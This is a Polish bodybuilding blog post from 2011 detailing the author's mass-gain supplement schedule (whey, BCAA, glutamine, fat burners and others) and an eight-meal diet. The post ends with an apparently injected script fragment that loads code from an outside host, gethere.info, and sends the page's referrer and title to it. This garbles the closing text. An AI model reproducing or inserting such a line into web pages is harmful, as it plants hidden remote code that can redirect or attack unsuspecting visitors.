MASA 2011-2012 nowa suplementacja

8.10.2011 / Adam Jabłoński / Kulturystyka

Witam,

Po konsultacjach z Dawidem Gelerem ” GISZMAN ” i Tomkiem Lechem ” PAPAJ ” zmieniam troszeczkę moją suplementację oraz trochę zwiększam kaloryczność diety.

Ufam Im bo dzięki Nim poszerzyłem swoją wiedzę teoretyczną, a przede wszystkim praktyczną i teraz przy wadze 96 kg z rana mój poziom wody podskórnej i tkanki tłuszczowej jest taki jak rok temu przy około 91 kg, a ważę 5 kg więcej . Dlatego okres jesienno zimowy poświęcę na budowaniu masy mięśniowej ale jak najbardziej suchej – Zupełnie inaczej niż było rok temu.

Co do suplementacji wygląda ona tak :

SUPLEMENTACJA :

+ Rano:

– 4 do 5 gram Proszku Zasadowego
– 3 kaps CM3
– 50 gram WHEY 100
– 3 tab AMINO 4500
– 5 gram VITAMIN-SHOP 100% Glutamine Micronized
– 1 tab Multi Pack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 1 kaps Taurine 900
– 1 tab witaminy b6 (50mg)

+ Godzinie później:

– 60 gram Vitargo electro-energy
– 60 gram IsoLate 100

+ Popołudniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 1 tab witaminy b6 (50mg)
– 3 tab AMINO 4500
– 1 kaps Taurine 900

+ Popołudniu: trochę później:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 1 kaps Taurine 900
– 1 tab witaminy b6 (50mg)
– 3 tab AMINO 4500

+ Przed Treningiem:
– 5 do 15 gram S.A.W.
– 10 gram BCAA Powder
– 1 tab Fat Transporter
– 2 kaps Taurine 900

+ Po treningu siłowym :
– 5 gram BCAA Powder
– 3 kaps Leucine Fusion
– 5 gram VITAMIN-SHOP 100% Glutamine Micronized
– 60 gram Vitargo electro-energy
– 60 gram IsoLate 100
– 4 kaps CM3

+ Na Noc:
– 1 tab MultiPack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 60 gram Casein 100
– 1 tab Fat Transporter
– 2 kaps MAGNE-100 Sport
– 3 tab VIT-C Strong 1000
– 4 do 5 gram Proszku Zasadowego

Jeśli chodzi o moją dietę to wygląda ona tak :

1 POSIŁEK :
100 gram zmielonych płatków owsianych
50 gram Whey 100

2 POSIŁEK :
– 60 gram Vitargo electro-energy
– 60 gram IsoLate 100

3 POSIŁEK :
100 gram ryżu basmatii
200 gram grillowanej piersi z kurczaka
10 ml oleju lnianego

4 POSIŁEK :
100 gram ryżu basmatii
200 gram grillowanej piersi z kurczaka
15-20 ml oleju lnianego

5 POSIŁEK :
100 gram ryżu basmatii
200 gram grillowanej piersi z kurczaka
15-20 ml oleju lnianego

6 POSIŁEK (1 po siłowni) :
– 60 gram Vitargo electro-energy
– 60 gram IsoLate 100

7 POSIŁEK (2 po siłowni) :
100 gram ryżu basmatii
200 gram grillowanej piersi z kurczaka

8 POSIŁEK :

TUTAJ RÓŻNIE :
200 GRAM Chudego/Półtłustego Twarogu
lub
200 Gram Ryby
lub
60 gram Casein 100

Co do treningów będę je opisywał co jakiś czas dając aktualne fotki.

Pozdrawiam

Hej
Cześćs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;